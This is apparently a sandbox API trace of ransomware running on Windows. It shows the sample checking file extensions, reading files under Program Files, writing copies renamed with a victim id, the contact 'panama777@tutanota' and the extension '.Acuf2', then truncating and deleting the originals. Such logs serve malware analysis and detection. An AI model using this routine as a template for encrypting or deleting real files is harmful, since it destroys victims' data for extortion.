	[0053.681] lstrlenW (lpString=".pdf") returned 4
	[0053.681] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.681] lstrlenW (lpString=".xls") returned 4
	[0053.682] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.682] lstrlenW (lpString=".xlsx") returned 5
	[0053.682] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.682] lstrlenW (lpString=".ppt") returned 4
	[0053.682] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.682] lstrlenW (lpString=".zip") returned 4
	[0053.682] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.682] lstrlenW (lpString=".rar") returned 4
	[0053.682] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.682] lstrlenW (lpString=".bz2") returned 4
	[0053.682] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.682] lstrlenW (lpString=".7z") returned 3
	[0053.682] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.682] lstrlenW (lpString=".dbf") returned 4
	[0053.682] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.682] lstrlenW (lpString=".1cd") returned 4
	[0053.682] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0053.682] lstrlenW (lpString=".jpg") returned 4
	[0053.682] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.682] lstrcmpiW (lpString1=".inc", lpString2=".Acuf2") returned 1
	[0053.682] lstrlenW (lpString="oledbjvs.inc") returned 12
	[0053.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.684] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=9804) returned 1
	[0053.684] CloseHandle (hObject=0x158) returned 1
	[0053.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20
	[0053.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0053.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.684] lstrlenW (lpString=".doc") returned 4
	[0053.684] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.684] lstrlenW (lpString=".docx") returned 5
	[0053.684] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.684] lstrlenW (lpString=".pdf") returned 4
	[0053.685] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.685] lstrlenW (lpString=".xls") returned 4
	[0053.685] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.685] lstrlenW (lpString=".xlsx") returned 5
	[0053.685] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.685] lstrlenW (lpString=".ppt") returned 4
	[0053.685] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.685] lstrlenW (lpString=".zip") returned 4
	[0053.685] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.685] lstrlenW (lpString=".rar") returned 4
	[0053.685] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.685] lstrlenW (lpString=".bz2") returned 4
	[0053.685] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.685] lstrlenW (lpString=".7z") returned 3
	[0053.685] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.685] lstrlenW (lpString=".dbf") returned 4
	[0053.685] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.685] lstrlenW (lpString=".1cd") returned 4
	[0053.685] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.685] lstrlenW (lpString=".jpg") returned 4
	[0053.685] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.685] lstrlenW (lpString=".doc") returned 4
	[0053.685] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.685] lstrlenW (lpString=".docx") returned 5
	[0053.686] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.686] lstrlenW (lpString=".pdf") returned 4
	[0053.686] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.686] lstrlenW (lpString=".xls") returned 4
	[0053.686] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.686] lstrlenW (lpString=".xlsx") returned 5
	[0053.686] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.686] lstrlenW (lpString=".ppt") returned 4
	[0053.686] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.686] lstrlenW (lpString=".zip") returned 4
	[0053.686] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.686] lstrlenW (lpString=".rar") returned 4
	[0053.686] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.686] lstrlenW (lpString=".bz2") returned 4
	[0053.686] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.686] lstrlenW (lpString=".7z") returned 3
	[0053.686] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.686] lstrlenW (lpString=".dbf") returned 4
	[0053.686] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.686] lstrlenW (lpString=".1cd") returned 4
	[0053.686] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0053.686] lstrlenW (lpString=".jpg") returned 4
	[0053.686] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.687] lstrcmpiW (lpString1=".inc", lpString2=".Acuf2") returned 1
	[0053.687] lstrlenW (lpString="oledbvbs.inc") returned 12
	[0053.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.687] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=9975) returned 1
	[0053.687] CloseHandle (hObject=0x158) returned 1
	[0053.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20
	[0053.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0053.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.687] lstrlenW (lpString=".doc") returned 4
	[0053.687] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.687] lstrlenW (lpString=".docx") returned 5
	[0053.687] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.687] lstrlenW (lpString=".pdf") returned 4
	[0053.688] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.688] lstrlenW (lpString=".xls") returned 4
	[0053.688] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.688] lstrlenW (lpString=".xlsx") returned 5
	[0053.688] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.688] lstrlenW (lpString=".ppt") returned 4
	[0053.688] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.688] lstrlenW (lpString=".zip") returned 4
	[0053.688] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.688] lstrlenW (lpString=".rar") returned 4
	[0053.688] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.688] lstrlenW (lpString=".bz2") returned 4
	[0053.688] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.688] lstrlenW (lpString=".7z") returned 3
	[0053.688] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.688] lstrlenW (lpString=".dbf") returned 4
	[0053.688] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.688] lstrlenW (lpString=".1cd") returned 4
	[0053.688] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.688] lstrlenW (lpString=".jpg") returned 4
	[0053.688] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.688] lstrlenW (lpString=".doc") returned 4
	[0053.688] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0053.688] lstrlenW (lpString=".docx") returned 5
	[0053.688] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0053.689] lstrlenW (lpString=".pdf") returned 4
	[0053.689] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0053.689] lstrlenW (lpString=".xls") returned 4
	[0053.689] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0053.689] lstrlenW (lpString=".xlsx") returned 5
	[0053.689] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0053.689] lstrlenW (lpString=".ppt") returned 4
	[0053.689] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0053.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.689] lstrlenW (lpString=".zip") returned 4
	[0053.689] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0053.689] lstrlenW (lpString=".rar") returned 4
	[0053.689] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0053.689] lstrlenW (lpString=".bz2") returned 4
	[0053.689] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0053.689] lstrlenW (lpString=".7z") returned 3
	[0053.689] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0053.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.689] lstrlenW (lpString=".dbf") returned 4
	[0053.689] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0053.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.689] lstrlenW (lpString=".1cd") returned 4
	[0053.689] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0053.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0053.689] lstrlenW (lpString=".jpg") returned 4
	[0053.689] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0053.689] lstrcmpiW (lpString1=".ini", lpString2=".Acuf2") returned 1
	[0053.690] lstrlenW (lpString="desktop.ini") returned 11
	[0053.690] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.690] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=174) returned 1
	[0053.690] CloseHandle (hObject=0x158) returned 1
	[0053.690] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26
	[0053.690] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.690] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.690] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.690] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.690] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.690] GetLastError () returned 0x0
	[0053.690] ReadFile (in: hFile=0x158, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0xae, lpOverlapped=0x0) returned 1
	[0053.691] WriteFile (in: hFile=0x178, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xb0, lpOverlapped=0x0) returned 1
	[0053.692] ReadFile (in: hFile=0x158, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.692] WriteFile (in: hFile=0x178, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.692] SetEndOfFile (hFile=0x178) returned 1
	[0053.692] CloseHandle (hObject=0x178) returned 1
	[0053.693] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.693] SetEndOfFile (hFile=0x158) returned 1
	[0053.693] CloseHandle (hObject=0x158) returned 1
	[0053.694] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x26) returned 1
	[0053.694] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1
	[0053.694] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0053.694] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0053.694] lstrlenW (lpString=".doc") returned 4
	[0053.694] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0053.694] lstrlenW (lpString=".docx") returned 5
	[0053.694] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0053.694] lstrlenW (lpString=".pdf") returned 4
	[0053.694] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0053.694] lstrlenW (lpString=".xls") returned 4
	[0053.694] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0053.694] lstrlenW (lpString=".xlsx") returned 5
	[0053.694] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0053.694] lstrlenW (lpString=".ppt") returned 4
	[0053.695] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0053.695] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0053.695] lstrlenW (lpString=".zip") returned 4
	[0053.695] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0053.695] lstrlenW (lpString=".rar") returned 4
	[0053.695] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0053.695] lstrlenW (lpString=".bz2") returned 4
	[0053.695] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0053.695] lstrlenW (lpString=".7z") returned 3
	[0053.695] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0053.695] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0053.695] lstrlenW (lpString=".dbf") returned 4
	[0053.695] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0053.695] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0053.695] lstrlenW (lpString=".1cd") returned 4
	[0053.695] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0053.695] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0053.695] lstrlenW (lpString=".jpg") returned 4
	[0053.695] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0057.933] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.933] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0057.933] GetLastError () returned 0x0
	[0057.933] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x4360, lpOverlapped=0x0) returned 1
	[0057.935] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4370, lpOverlapped=0x0) returned 1
	[0057.936] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0057.936] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0057.936] SetEndOfFile (hFile=0x1a0) returned 1
	[0057.937] CloseHandle (hObject=0x1a0) returned 1
	[0057.937] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.937] SetEndOfFile (hFile=0x184) returned 1
	[0057.938] CloseHandle (hObject=0x184) returned 1
	[0057.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0057.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1
	[0057.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76
	[0057.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76
	[0057.938] lstrlenW (lpString=".doc") returned 4
	[0057.938] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1
	[0057.939] lstrlenW (lpString=".docx") returned 5
	[0057.939] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1
	[0057.939] lstrlenW (lpString=".pdf") returned 4
	[0057.939] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1
	[0057.939] lstrlenW (lpString=".xls") returned 4
	[0057.939] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1
	[0057.939] lstrlenW (lpString=".xlsx") returned 5
	[0057.939] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1
	[0057.939] lstrlenW (lpString=".ppt") returned 4
	[0057.939] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1
	[0057.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76
	[0057.939] lstrlenW (lpString=".zip") returned 4
	[0057.939] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1
	[0057.939] lstrlenW (lpString=".rar") returned 4
	[0057.939] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1
	[0057.939] lstrlenW (lpString=".bz2") returned 4
	[0057.939] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1
	[0057.939] lstrlenW (lpString=".7z") returned 3
	[0057.939] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1
	[0057.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76
	[0057.939] lstrlenW (lpString=".dbf") returned 4
	[0057.939] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1
	[0057.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76
	[0057.939] lstrlenW (lpString=".1cd") returned 4
	[0057.939] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1
	[0057.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76
	[0057.939] lstrlenW (lpString=".jpg") returned 4
	[0057.939] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1
	[0057.940] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.940] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0057.941] GetLastError () returned 0x0
	[0057.941] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x4932, lpOverlapped=0x0) returned 1
	[0057.942] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4940, lpOverlapped=0x0) returned 1
	[0057.944] ReadFile (in: hFile=0x184, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0057.944] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0057.944] SetEndOfFile (hFile=0x1a0) returned 1
	[0057.944] CloseHandle (hObject=0x1a0) returned 1
	[0057.944] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.944] SetEndOfFile (hFile=0x184) returned 1
	[0057.945] CloseHandle (hObject=0x184) returned 1
	[0057.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
